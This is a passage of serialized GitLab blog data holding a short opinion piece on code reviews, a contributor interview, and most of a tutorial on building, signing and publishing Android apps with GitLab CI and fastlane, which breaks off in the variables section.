questions!\n\n### About the guest author\n\nForrest Brazeal is an [AWS Serverless Hero](https://aws.amazon.com/developer/community/heroes/forrest-brazeal/). He currently works as a senior cloud architect at [Trek10](https://trek10.com), an AWS Advanced Consulting Partner. You can [read more about Trek10's GitLab journey here](/customers/trek10/).\n",[110,4144,232,815,6962,4772],{"slug":30729,"featured":6,"template":678},"multi-account-aws-sam-deployments-with-gitlab-ci","content:en-us:blog:multi-account-aws-sam-deployments-with-gitlab-ci.yml","Multi Account Aws Sam Deployments With Gitlab Ci","en-us/blog/multi-account-aws-sam-deployments-with-gitlab-ci.yml","en-us/blog/multi-account-aws-sam-deployments-with-gitlab-ci",{"_path":30735,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30736,"content":30741,"config":30746,"_id":30748,"_type":16,"title":30749,"_source":17,"_file":30750,"_stem":30751,"_extension":20},"/en-us/blog/pre-commit-post-deploy-is-dead",{"title":30737,"description":30738,"ogTitle":30737,"ogDescription":30738,"noIndex":6,"ogImage":21898,"ogUrl":30739,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30739,"schema":30740},"Pre-commit and post-deploy code reviews are dead","In a world with Git, pre-commit and post-deploy code reviews are relics that can be eliminated from your workflow.","https://about.gitlab.com/blog/pre-commit-post-deploy-is-dead","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Pre-commit and post-deploy code reviews are dead\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Aricka Flowers\"}],\n        \"datePublished\": \"2019-01-31\",\n      }",{"title":30737,"description":30738,"authors":30742,"heroImage":21898,"date":30743,"body":30744,"category":734,"tags":30745},[29394],"2019-01-31","\nPre-commit and post-deploy reviews have been the industry standard for ensuring that code is functioning as intended. But with Git around, are these methods still needed?\n\nLet’s take a step back and look at how they work.\n\n### Pre-commit reviews require that code is checked for bugs before it is committed\n\nOur CEO [Sid Sijbrandij](/company/team/#sytses) says pre-commit reviews makes sense because new code is evaluated before it is introduced into the code base. But with distributed version control, he says, you can essentially [do the same thing on Git branches](https://docs.gitlab.com/ee/topics/gitlab_flow.html). Prior to Git, branches were too pricey to use regularly in [version control systems](/topics/version-control/) like Subversion.\n\n### Post-deploy reviews periodically check for areas of improvement in the code base\n\nPost-deploy reviews are typically done on a periodic basis as a way to check certain areas of the code base and decide if improvements can be made. This method doesn’t make sense, according to Sid, because \"The code has already proven itself in production ... so you’re reluctant to make changes to it.\" Additionally, the idea of occasionally reviewing your code base is not really needed:\n\n\"If there's technical debt in there, at least it's not affecting other code,\" Sid explains. \"There's a certain interest you pay on technical debt, and it has to do with how much it spreads the technical debt to your code base. Code that is not doing much, meaning it's being executed but it's not changing much, well at least it's not influencing other code. You're always going to have tech debt, and you're always going to have a limited time during which you can review and fix things. Focus on the code that's active, that's probably the best place to focus.\"\n\n### Git branches are more efficient\n\nUsing Git branches to ensure that code is safe to introduce into the code base improves efficiencies when compared to pre-commit and post-deploy reviews, says Sid, who finds the former to be hard to track.\n\n\"Pre-commit code reviews were a bit awkward because you didn't have a good way to refer to it. It was in the tool, but you didn't have a SHA or definite way to refer to that version. And it was hard to know what CI it ran against because there wasn't a SHA. So by doing it post-commit, you have it in versions and it's much easier to see what you referred to. But with code review after deploy, the mindset was, 'If it works, you move on.'\n\n> \"If you change it, there's extra risk; if you don't change it, it's extra tech debt – and you always have to choose between the two.\"\n\n\"You're not going to be as vigilant to technical debt building up and it's harder to request that someone change something that’s working. If you change it, there's extra risk; if you don't change it, it's extra tech debt – and you always have to choose between the two. With pre-deploy code reviews, you don't have to make that choice …  [With what we have now], I think pre-commit and post-deploy code reviews are dead, and code should be reviewed on a branch before it's deployed to production.\"\n\nWhat do you think: Are pre-commit and post-deploy reviews a thing of the past? Tweet us @GitLab!\n{: .alert .alert-gitlab-purple.text-center}\n\nPhoto by [Caspar Camille Rubin](https://unsplash.com/photos/fPkvU7RDmCo?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on Unsplash\n{: .note}\n",[1207,1067,1444],{"slug":30747,"featured":6,"template":678},"pre-commit-post-deploy-is-dead","content:en-us:blog:pre-commit-post-deploy-is-dead.yml","Pre Commit Post Deploy Is Dead","en-us/blog/pre-commit-post-deploy-is-dead.yml","en-us/blog/pre-commit-post-deploy-is-dead",{"_path":30753,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30754,"content":30759,"config":30764,"_id":30766,"_type":16,"title":30767,"_source":17,"_file":30768,"_stem":30769,"_extension":20},"/en-us/blog/semyon-pupkov-contributor-post",{"title":30755,"description":30756,"ogTitle":30755,"ogDescription":30756,"noIndex":6,"ogImage":26117,"ogUrl":30757,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30757,"schema":30758},"GitLab Code Contributor: Semyon Pupkov","Long-time contributor Semyon Pupkov shares why he loves contributing to GitLab.","https://about.gitlab.com/blog/semyon-pupkov-contributor-post","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Code Contributor: Semyon Pupkov\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2019-01-30\",\n      }",{"title":30755,"description":30756,"authors":30760,"heroImage":26117,"date":30761,"body":30762,"category":813,"tags":30763},[21623],"2019-01-30","\n\nFor this month's contributor post, I'm excited to introduce [Semyon Pupkov](https://gitlab.com/artofhuman), who's been a consistent contributor to GitLab since 2016. The graph below shows Semyon's merge requests (MRs) since GitLab 8.13. Let's get to know him!\n\n![Semyon's MRs](https://about.gitlab.com/images/blogimages/semyon-blogpost/semyon-mrs.png){: .small.center}\n\n### Can you tell us where you live and a little bit about your area?\n\nI live in a city called [Yekaterinburg](https://www.google.com/maps/place/Yekaterinburg,+Sverdlovsk+Oblast,+Russia/@56.8138122,60.5145089,11z) in the Ural region of Russia. I love the nature here as it's not too hot in the summer and you will find good snow in the winter for snow boarding.\n\n### When did you first contribute to GitLab and why did you decide to contribute?\n\n[My first MR](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/6762) about two years ago was a pretty simple one as I removed unnecessary code from tests. I used GitLab Community Edition for my private projects and since I like open source software, I decided to look at the GitLab code base. When I found some areas for improvement mainly in tests, I decided to create my first MR.\n\n### Which areas of GitLab product have you been contributing to over the past two years?\n\nMost of my contributions have been on the backend side where I tried to improve the existing code base.\n\n### Can you tell us what you do professionally?\n\nI am a backend Ruby/Python developer and work at a company called [SKB Kontur](https://kontur.ru/eng/about).\n\n### What do you enjoy doing when you're not working?\n\nI have been a father for about six months, and I try to give as much of my free time to my daughter. I also like playing games on PlayStation 4 and my favorite game right now is FIFA 19. And of course, I like to contribute to open source projects.\n\n![Semyon's family](https://about.gitlab.com/images/blogimages/semyon-blogpost/semyon-family.JPG){: .shadow.small.center}\n\n### What can we do better to help GitLab community contributors?\n\nSometimes in issues/MRs, I find links to Zendesk tickets or Slack discussions that are private, and this can be frustrating for someone not working at GitLab. Also, it would be great if GitLab had a better setup for local development with Docker and Docker Compose. I found the branch in the [GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit) repository with [support for Docker Compose](https://gitlab.com/gitlab-org/gitlab-development-kit/tree/docker-compose), but it probably needs some updating. I recently submitted an [MR to help address this](https://gitlab.com/gitlab-org/gitlab-development-kit/merge_requests/592).\n\n### What advice do you have for others who may be interested in contributing to GitLab?\n\nJust don't be afraid to get started. If you find places in the code that can be improved, you should make a contribution and in most cases your code will be welcomed and accepted.\n\nContributing to GitLab also allows you to work with a strong professional team. It's a good way to improve your skills while working on a great product.\n\n### Interested in learning how you can contribute?\n\nA good place to start is the [Contributing to GitLab page](/community/contribute/), where you can learn how you can contribute to GitLab code, documentation, translation, and UX design.\n\nIf you have any questions, you are always welcome to reach me at rpaik@gitlab.com.\n\n_Note: This post is part of [a series featuring people who contribute to GitLab](/blog/tags.html#contributors)._\n",[267,2368,815,2704],{"slug":30765,"featured":6,"template":678},"semyon-pupkov-contributor-post","content:en-us:blog:semyon-pupkov-contributor-post.yml","Semyon Pupkov Contributor Post","en-us/blog/semyon-pupkov-contributor-post.yml","en-us/blog/semyon-pupkov-contributor-post",{"_path":30771,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30772,"content":30779,"config":30785,"_id":30787,"_type":16,"title":30788,"_source":17,"_file":30789,"_stem":30790,"_extension":20},"/en-us/blog/android-publishing-with-gitlab-and-fastlane",{"title":30773,"description":30774,"ogTitle":30775,"ogDescription":30774,"noIndex":6,"ogImage":30776,"ogUrl":30777,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30777,"schema":30778},"Publishing Android apps to Play Store with GitLab & fastlane","See how GitLab, together with fastlane, can build, sign, and publish apps for Android to the Google Play Store.","HPublishing Android apps to Play Store with GitLab & fastlane","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679918/Blog/Hero%20Images/android-fastlane-pipeline.png","https://about.gitlab.com/blog/android-publishing-with-gitlab-and-fastlane","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to publish Android apps to the Google Play Store with GitLab and fastlane\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jason Yavorska\"}],\n        \"datePublished\": \"2019-01-28\",\n      }",{"title":30780,"description":30774,"authors":30781,"heroImage":30776,"date":30782,"body":30783,"category":734,"tags":30784},"How to publish Android apps to the Google Play Store with GitLab and fastlane",[22054],"2019-01-28","\n\nWhen we heard about [_fastlane_](https://fastlane.tools), an app automation tool for delivering iOS and Android builds, we wanted to give it a spin to see if a combination of GitLab and _fastlane_ could help us bring our mobile build and deployment automation to the next level and make mobile development a bit easier. You can see an [actual production deployment](https://gitlab.com/gitlab-org/gitter/gitter-android-app/pipelines/40768761) of the [Gitter Android app](https://gitlab.com/gitlab-org/gitter/gitter-android-app) that uses what we'll be implementing in this blog post; suffice to say, the results were fantastic and we've become big believers that the combination of GitLab and _fastlane_ is a truly game-changing way for developers to [enable CI/CD](/topics/ci-cd/) (continuous integration and continuous delivery) for their mobile applications. With GitLab and _fastlane_ we're getting, with minimal effort:\n\n- Source control, project home, issue tracking, and everything else that comes with GitLab.\n- Content and images (metadata) for Google Play Store listing managed in source control.\n- Automatic signing, version numbers, and changelog.\n- Automatic publishing to `internal` distribution channel in Google Play Store.\n- Manual promotion through `alpha`, `beta`, and `production` channels.\n- Containerized build environment, available in GitLab's container registry.\n\nIf you'd like to jump ahead and see the finished product, you can take a look at the already-completed Gitter for Android [.gitlab-ci.yml](https://gitlab.com/gitlab-org/gitter/gitter-android-app/blob/master/.gitlab-ci.yml), [build.gradle](https://gitlab.com/gitlab-org/gitter/gitter-android-app/blob/master/app/build.gradle), [Dockerfile](https://gitlab.com/gitlab-org/gitter/gitter-android-app/blob/master/Dockerfile), and [_fastlane_ configuration](https://gitlab.com/gitlab-org/gitter/gitter-android-app/tree/master/fastlane).\n\n## Configuring _fastlane_\n\nWe'll begin first by setting up _fastlane_ in our project, make a couple key changes to our Gradle configuration, and then wrap everything up in a GitLab pipeline.\n\n_fastlane_ has pretty good [documentation](https://docs.fastlane.tools/getting-started/android/setup/) to get you started, and if you run into platform-specific trouble it's the first place to check, but to get under way you really just need to complete a few straightforward steps.\n\n### Initializing your project\n\nFirst up, you need to get _fastlane_ installed locally and initialize your product. We're using the Ruby `fastlane` gem so you'll need Ruby on your system for this to work. You can read about [other install options in the _fastlane_ documentation](https://docs.fastlane.tools/getting-started/android/setup/).\n\n``` ruby\nsource \"https://rubygems.org\"\n\ngem \"fastlane\"\n```\n\nOnce your Gemfile is updated, you can run `bundle update` to update/generate your `Gemfile.lock`. From this point you can run _fastlane_ by typing `bundle exec fastlane`. Later, you'll see that in CI/CD we use `bundle install ...` to ensure the command runs within the context of our project environment.\n\nNow that we have _fastlane_ ready to run, we just need to initialize our repo with our configuration. Run `bundle exec fastlane init` from within your project directory, answer a few questions, and _fastlane_ will create a new `./fastlane` directory containing its configuration.\n\n### Setting up _supply_\n\n_supply_ is a feature built into _fastlane_ which will help you manage screenshots, descriptions, and other localized metadata/assets for publishing to the Google Play Store.\n\nPlease refer to these [detailed instructions for collecting the credentials necessary to run _supply_](https://docs.fastlane.tools/getting-started/android/setup/#setting-up-supply).\n\nOnce you've set this up, simply run `bundle exec fastlane supply init` and all your current metadata will be downloaded from your store listing and saved in `fastlane/metadata/android`. From this point you're able to manage all of your store content as-code; when we publish a new version to the store later, the versions of content checked into your source repo will be used to populate the entry.\n\n### Appfile\n\nThe `./fastlane/Appfile` is pretty straightforward, and contains basic configuration you chose when you initialized your project. Later we'll see how to inject the `json_key_file` in your CI/CD pipeline at runtime.\n\n`./fastlane/Appfile`\n``` yaml\njson_key_file(\"~/google_play_api_key.json\") # Path to the json secret file - Follow https://docs.fastlane.tools/actions/supply/#setup to get one\npackage_name(\"im.gitter.gitter\") # e.g. com.krausefx.app\n```\n\n### Fastfile\n\nThe `./fastlane/Fastfile` is more interesting, and contains the first changes you'll see that we made for Gitter vs. the default one created when you run `bundle exec fastlane init`.\n\nThe first section contains our definitions for how we want to run builds and tests. As you can see, this is pretty straightforward and builds right on top of your already set up Gradle tasks.\n\n`./fastlane/Fastfile`\n``` yaml\ndefault_platform(:android)\n\nplatform :android do\n\n  desc \"Builds the debug code\"\n  lane :buildDebug do\n    gradle(task: \"assembleDebug\")\n  end\n\n  desc \"Builds the release code\"\n  lane :buildRelease do\n    gradle(task: \"assembleRelease\")\n  end\n\n  desc \"Runs all the tests\"\n  lane :test do\n    gradle(task: \"test\")\n  end\n\n...\n```\n\nCreating Gradle tasks that publish/promote builds can be complicated and error prone, but _fastlane_ makes this much easier by giving you pre-built commands (called _fastlane_ actions) that let you perform complex tasks with just a few simple actions.\n\nIn our example, we've set up a workflow where a new build can be published to the internal track and then optionally promoted through alpha, beta, and ultimately production. We initially had a new build for each track but it's safer to have the same/known build go through the whole process.\n\n``` yaml\n...\n\n  desc \"Submit a new Internal Build to Play Store\"\n  lane :internal do\n    upload_to_play_store(track: 'internal', apk: 'app/build/outputs/apk/release/app-release.apk')\n  end\n\n  desc \"Promote Internal to Alpha\"\n  lane :promote_internal_to_alpha do\n    upload_to_play_store(track: 'internal', track_promote_to: 'alpha')\n  end\n\n  desc \"Promote Alpha to Beta\"\n  lane :promote_alpha_to_beta do\n    upload_to_play_store(track: 'alpha', track_promote_to: 'beta')\n  end\n\n  desc \"Promote Beta to Production\"\n  lane :promote_beta_to_production do\n    upload_to_play_store(track: 'beta', track_promote_to: 'production')\n  end\nend\n```\n\nAn important note is that we've only scratched the surface of the kinds of actions that _fastlane_ can automate. You can [read more about available actions here](https://docs.fastlane.tools/actions/), and it's even possible to create your own.\n\n## Gradle configuration\n\nWe also made a couple of key changes to our basic Gradle configuration to make publishing easier. Nothing major here, but it does help us make things run a little more smoothly.\n\n### Secret properties\n\nThe first changed section gathers the secret variables to be used for signing. These are either loaded via configuration file, or gathered from environment variables in the case of CI.\n\n`app/build.gradle`\n``` groovy\n// Try reading secrets from file\ndef secretsPropertiesFile = rootProject.file(\"secrets.properties\")\ndef secretProperties = new Properties()\n\nif (secretsPropertiesFile.exists()) {\n    secretProperties.load(new FileInputStream(secretsPropertiesFile))\n}\n// Otherwise read from environment variables, this happens in CI\nelse {\n    secretProperties.setProperty(\"oauth_client_id\", \"\\\"${System.getenv('oauth_client_id')}\\\"\")\n    secretProperties.setProperty(\"oauth_client_secret\", \"\\\"${System.getenv('oauth_client_secret')}\\\"\")\n    secretProperties.setProperty(\"oauth_redirect_uri\", \"\\\"${System.getenv('oauth_redirect_uri')}\\\"\")\n    secretProperties.setProperty(\"google_project_id\", \"\\\"${System.getenv('google_project_id') ?: \"null\"}\\\"\")\n    secretProperties.setProperty(\"signing_keystore_password\", \"${System.getenv('signing_keystore_password')}\")\n    secretProperties.setProperty(\"signing_key_password\", \"${System.getenv('signing_key_password')}\")\n    secretProperties.setProperty(\"signing_key_alias\", \"${System.getenv('signing_key_alias')}\")\n}\n```\n\n### Automatic versioning\n\nWe also set up automatic versioning using environment variables `VERSION_CODE`, `VERSION_SHA`, which we will set up later in CI/CD (locally they will just be `null` which is fine). Because each build's `versionCode` that you submit to the Google Play Store needs to be higher than the last, this makes it simple to deal with.\n\n`app/build.gradle`\n``` groovy\nandroid {\n    defaultConfig {\n        applicationId \"im.gitter.gitter\"\n        minSdkVersion 19\n        targetSdkVersion 26\n        versionCode Integer.valueOf(System.env.VERSION_CODE ?: 0)\n        // Manually bump the semver version part of the string as necessary\n        versionName \"3.2.0-${System.env.VERSION_SHA}\"\n```\n\n### Signing configuration\n\nFinally, we inject the signing configuration which will automatically be used by Gradle to sign the release build. Depending on your configuration, you may already be doing this. We only worry about signing in the release build that would potentially be published to the Google Play Store.\n\n> When using App Signing by Google Play, you will use two keys: the app signing key and the upload key. You keep the upload key and use it to sign your app for upload to the Google Play Store.\n>\n> [*https://developer.android.com/studio/publish/app-signing#google-play-app-signing*](https://developer.android.com/studio/publish/app-signing#google-play-app-signing)\n\n> IMPORTANT: Google will not re-sign any of your existing or new APKs that are signed with the app signing key. This enables you to start testing your app bundle in the internal test, alpha, or beta tracks while you continue to release your existing APK in production without Google Play changing it.\n>\n> *`https://play.google.com/apps/publish/?account=xxx#KeyManagementPlace:p=im.gitter.gitter&appid=xxx`*\n\n`app/build.gradle`\n``` groovy\n    signingConfigs {\n        release {\n            // You need to specify either an absolute path or include the\n            // keystore file in the same directory as the build.gradle file.\n            storeFile file(\"../android-signing-keystore.jks\")\n            storePassword \"${secretProperties['signing_keystore_password']}\"\n            keyAlias \"${secretProperties['signing_key_alias']}\"\n            keyPassword \"${secretProperties['signing_key_password']}\"\n        }\n    }\n    buildTypes {\n        release {\n            minifyEnabled false\n            testCoverageEnabled false\n            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n            signingConfig signingConfigs.release\n        }\n    }\n}\n```\n\n## Setting up the Docker build environment\n\nWe are building a Docker image to be used as a repeatable, consistent build environment which will speed things up because it will already have the dependencies downloaded and installed. We're just fetching a few prerequisites, installing the Android SDK, and then grabbing _fastlane_.\n\n`Dockerfile`\n```dockerfile\nFROM openjdk:8-jdk\n\n# Just matched `app/build.gradle`\nENV ANDROID_COMPILE_SDK \"26\"\n# Just matched `app/build.gradle`\nENV ANDROID_BUILD_TOOLS \"28.0.3\"\n# Version from https://developer.android.com/studio/releases/sdk-tools\nENV ANDROID_SDK_TOOLS \"24.4.1\"\n\nENV ANDROID_HOME /android-sdk-linux\nENV PATH=\"${PATH}:/android-sdk-linux/platform-tools/\"\n\n# install OS packages\nRUN apt-get --quiet update --yes\nRUN apt-get --quiet install --yes wget tar unzip lib32stdc++6 lib32z1 build-essential ruby ruby-dev\n# We use this for xxd hex->binary\nRUN apt-get --quiet install --yes vim-common\n# install Android SDK\nRUN wget --quiet --output-document=android-sdk.tgz https://dl.google.com/android/android-sdk_r${ANDROID_SDK_TOOLS}-linux.tgz\nRUN tar --extract --gzip --file=android-sdk.tgz\nRUN echo y | android-sdk-linux/tools/android --silent update sdk --no-ui --all --filter android-${ANDROID_COMPILE_SDK}\nRUN echo y | android-sdk-linux/tools/android --silent update sdk --no-ui --all --filter platform-tools\nRUN echo y | android-sdk-linux/tools/android --silent update sdk --no-ui --all --filter build-tools-${ANDROID_BUILD_TOOLS}\nRUN echo y | android-sdk-linux/tools/android --silent update sdk --no-ui --all --filter extra-android-m2repository\nRUN echo y | android-sdk-linux/tools/android --silent update sdk --no-ui --all --filter extra-google-google_play_services\nRUN echo y | android-sdk-linux/tools/android --silent update sdk --no-ui --all --filter extra-google-m2repository\n# install Fastlane\nCOPY Gemfile.lock .\nCOPY Gemfile .\nRUN gem install bundle\nRUN bundle install\n```\n\n## Setting up GitLab\n\nWith our build environment ready, let's set up our `.gitlab-ci.yml` to tie it all together in a CI/CD pipeline.\n\n### Stages\n\nThe first thing we do is define the stages that we're going to use. We'll set up our build environment, do our debug and release builds, run our tests, deploy to internal, and then promote through alpha, beta, and production. You can see that, apart from `environment`, these map to the lanes we set up in our `Fastfile`.\n\n``` yaml\nstages:\n  - environment\n  - build\n  - test\n  - internal\n  - alpha\n  - beta\n  - production\n```\n\n### Build environment update\n\nNext up we're going to update our build environment, if needed. If you're not familiar with `.gitlab-ci.yml` it may look like there's a lot going on here, but we'll take it one step at a time. The very first thing we do is set up an `.updateContainerJob` yaml template which can be used to capture shared configuration for other steps that want to use it. In this case, it will be used by the subsequent `updateContainer` and `ensureContainer` jobs.\n\n#### `.updateContainerJob` template\n\nIn this case, since we're dealing with Docker in Docker (`dind`), we are running some scripts which log into the local [GitLab container registry](https://docs.gitlab.com/ee/user/packages/container_registry/index.html), fetch the latest image to be used as a layer cache reference, build a new image, and finally push the new version to the registry.\n\n``` yaml\n.updateContainerJob:\n  image: docker:stable\n  stage: environment\n  services:\n    - docker:dind\n  script:\n    - docker login -u gitlab-ci-token -p $CI_JOB_TOKEN $CI_REGISTRY\n    - docker pull $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG || true\n    - docker build --cache-from $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG -t $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG .\n    - docker push $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG\n```\n\n#### `updateContainer` job\n\nThe first job that inherits `.updateContainerJob`, `updateContainer`, only runs if the `Dockerfile` was updated and will run through the template steps described above.\n\n``` yaml\nupdateContainer:\n  extends: .updateContainerJob\n  only:\n    changes:\n      - Dockerfile\n```\n\n#### `ensureContainer` job\n\nBecause the first pipeline on a branch can fail, the `only: changes: Dockerfile` syntax won't trigger for a subsequent pipeline after you fix things. This can leave your branch without a Docker image to use. So the `ensureContainer` job will look for an existing image and only build one if it doesn't exist. The one downside to this is that both of these jobs will run at the same time if it is a new branch.\n\nIdeally, we could just use `$CI_REGISTRY_IMAGE:master` as a fallback when `$CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG` isn't found but there isn't any syntax for this.\n\n``` yaml\nensureContainer:\n  extends: .updateContainerJob\n  allow_failure: true\n  before_script:\n    - \"mkdir -p ~/.docker && echo '{\\\"experimental\\\": \\\"enabled\\\"}' > ~/.docker/config.json\"\n    - docker login -u gitlab-ci-token -p $CI_JOB_TOKEN $CI_REGISTRY\n    # Skip update container `script` if the container already exists\n    # via https://gitlab.com/gitlab-org/gitlab-ce/issues/26866#note_97609397 -> https://stackoverflow.com/a/52077071/796832\n    - docker manifest inspect $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG > /dev/null && exit || true\n```\n\n### Build and test\n\nWith our build environment ready, we're ready to build our `debug` and `release` targets. Similar to above, we use a template to set up repeated steps within our build jobs, avoiding duplication. Within this section, the first thing we do is set the image to the build environment container image we built in the previous step.\n\n#### `.build_job` template\n\n``` yaml\n.build_job:\n  image: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG\n  stage: build\n\n...\n```\n\nNext up is a step that's specific to Gitter, but if you use shared assets between a iOS and Android build you might consider doing something similar. What we're doing here is grabbing the latest mobile artifacts built by the web application pipeline and placing them in the appropriate location.\n\n``` yaml\n  before_script:\n    - wget --output-document=artifacts.zip --quiet \"https://gitlab.com/gitlab-org/gitter/webapp/-/jobs/artifacts/master/download?job=mobile-asset-build\"\n    - unzip artifacts.zip\n    - mkdir -p app/src/main/assets/www\n    - mv output/android/www/* app/src/main/assets/www/\n```\n\nNext, we use [project-level variables](https://docs.gitlab.com/ee/ci/variables/) containing a binary (hex) dump of our signing keystore file and convert it back to a binary file. This allows us to inject the file into the build at runtime instead of checking it into source control, a potential security concern. To get the `signing_jks_file_hex` variable hex value, we use this binary -> hex command, `xxd -p gitter-android-app.jks`\n\n``` yaml\n    # We store this binary file in a variable as hex with this command, `xxd -p gitter-android-app.jks`\n    # Then we convert the hex back to a binary file\n    - echo \"$signing_jks_file_hex\" | xxd -r -p - > android-signing-keystore.jks\n```\n\nHere we're setting the version at runtime – these environment variables will be used by the Gradle build as implemented above. Because `$CI_PIPELINE_IID` increments on each pipeline, we can guarantee our `versionCode` is always higher than the last and be able to publish to the Google Play Store.\n\n``` yaml\n    # We add 100 to get this high enough above current versionCodes that are published\n    - \"export VERSION_CODE=$((100 + $CI_PIPELINE_IID)) && echo $VERSION_CODE\"\n    - \"export VERSION_SHA=`echo ${CI_COMMIT_SHORT_SHA}` && echo $VERSION_SHA\"\n```\n\nNext, we automatically generate a changelog to include by copying whatever you have in `CURRENT_VERSION.txt` to the current `\u003CversionCode>.text`. You can update `CURRENT_VERSION.txt` as necessary. I won't dive into the details of the merge request (MR) creation script here since it's somewhat specific to Gitter, but if you're interested in how something like this might work check out the [`create-changlog-mr.sh` script](https://gitlab.com/gitlab-org/gitter/gitter-android-app/blob/master/ci-scripts/create-changlog-mr.sh).\n\n``` yaml\n    # Make the changelog\n    - cp ./fastlane/metadata/android/en-GB/changelogs/CURRENT_VERSION.txt \"./fastlane/metadata/android/en-GB/changelogs/$VERSION_CODE.txt\"\n    # We allow the remote push and MR creation to fail because the other job could create it\n    # and it's not strictly necessary (we just need the file locally for the CI/CD build)\n    - ./ci-scripts/create-changlog-mr.sh || true\n    # Because we allow the MR creation to fail, just make sure we are back in the right repo state\n    - git checkout \"$CI_COMMIT_SHA\"\n```\n\nJust a couple of final items: First, whenever a build job is done, we remove the jks file just to be sure it doesn't get saved to artifacts, and second we set up the artifact directory from where the output of the build (`.apk`) will be saved.\n\n``` yaml\n  after_script:\n    - rm android-signing-keystore.jks || true\n  artifacts:\n    paths:\n    - app/build/outputs\n```\n\n#### `buildDebug` and `buildRelease` jobs\n\nMost of the complexity here was set up in the template, so as you can see our `buildDebug` and `buildRelease` job definitions are very clear. Both just call the appropriate _fastlane_ task (which, if you remember, then calls the appropriate Gradle task). The `buildRelease` output is associated with the `production` environment so we can define an extra production-scoped set of [project-level variables](https://docs.gitlab.com/ee/ci/variables/) which are different from our testing variables.\n\nSince we set up code signing in the Gradle config (`build.gradle`) earlier, we can be confident here that our `release` builds are appropriately signed and ready for publishing.\n\n```\nbuildDebug:\n  extends: .build_job\n  script:\n    - bundle exec fastlane buildDebug\n\nbuildRelease:\n  extends: .build_job\n  script:\n    - bundle exec fastlane buildRelease\n  environment:\n    name: production\n```\n\nTesting is really just another instance of the same thing, but instead of calling one of the build lanes we call the test lane. Note that we are using a `dependency` from the `buildDebug` job to ensure we don't need to rebuild anything.\n\n``` yaml\ntestDebug:\n  image: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG\n  stage: test\n  dependencies:\n    - buildDebug\n  script:\n    - bundle exec fastlane test\n```\n\n### Publish\n\nNow that our code is being built, we're ready to publish to the Google Play Store. We only *publish* to the `internal` testing track and *promote* this same build to the rest of the tracks.\n\nThis is achieved through the _fastlane_ integration, using a pre-built action to handle the job. In this case we are using a `dependency` on the `buildRelease` job, and creating a local copy of the Google API JSON keyfile (again stored in a [project-level variable](https://docs.gitlab.com/ee/ci/variables/) instead of checking it into source control.) We have this job (and all subsequent jobs) set to run only on `manual` action so we have full human control/intervention from this point forward. If you prefer to continuously deliver to your `internal` track you'd simply need to remove the `when: manual` entry and you'd have achieved your goal.\n\nIf you're like me, this may seem too easy to work. With everything we've configured in GitLab and _fastlane_ to this point, it's really this simple!\n\n``` yaml\npublishInternal:\n  image: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG\n  stage: internal\n  dependencies:\n    - buildRelease\n  when: manual\n  before_script:\n    - echo $google_play_service_account_api_key_json > ~/google_play_api_key.json\n  after_script:\n    - rm ~/google_play_api_key.json\n  script:\n    - bundle exec fastlane internal\n```\n\n### Promote\n\nAs indicated earlier, promotion through alpha, beta, and production are all `manual` jobs. If internal testing is good, it can be promoted one step forward in sequence all the way through to production using these manual jobs.\n\nIf you're with me to this point, there's really nothing new here and this really highlights the power of GitLab with _fastlane_. We have a `.promote_job` template job which creates the local Google API JSON key file and the promote jobs themselves are basically identical.\n\n``` yaml\n.promote_job:\n  image: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG\n  when: manual\n  dependencies: []\n  only:\n    - master\n  before_script:\n    - echo $google_play_service_account_api_key_json > ~/google_play_api_key.json\n  after_script:\n    - rm ~/google_play_api_key.json\n\npromoteAlpha:\n  extends: .promote_job\n  stage: alpha\n  script:\n    - bundle exec fastlane promote_internal_to_alpha\n\npromoteBeta:\n  extends: .promote_job\n  stage: beta\n  script:\n    - bundle exec fastlane promote_alpha_to_beta\n\npromoteProduction:\n  extends: .promote_job\n  stage: production\n  script:\n    - bundle exec fastlane promote_beta_to_production\n```\n\nNote that we're `only` allowing production promotion from the `master` branch, instead of from any branch. This is to ensure that the production build uses the separate set of `production` environment variables which only happens for the `buildRelease` job. We also have these [variables set as protected](https://docs.gitlab.com/ee/ci/variables/#protected-variables) so we can enforce that they are only used on the `master` branch which is protected.\n\n### Variables\n\nThe last step is to make sure you set up the [project-level variables](https://docs.gitlab.com/ee/ci/variables/) we used throughout the configuration above:\n\n - `google_play_service_account_api_key_json`: see [https://docs.fastlane.tools/getting-started/android/setup/#collect-your-google-credentials](https://docs.fastlane.tools/getting-started/android/setup/#collect-your-google-credentials)\n - `oauth_client_id`\n - `oauth_client_id`, protected, `production` environment\n - `oauth_client_secret`\n - `oauth_client_secret`, protected, `production` environment\n - `oauth_redirect_uri`\n - `oauth_redirect_uri`, protected, `production` environment\n - `signing_jks_file_hex`: `xxd -p gitter-android-app.jks`\n - `signing_key_alias`\n - `signing_key_password`\n - `signing_keystore_password`\n\nIf you are using the same [`create-changlog-mr.sh` 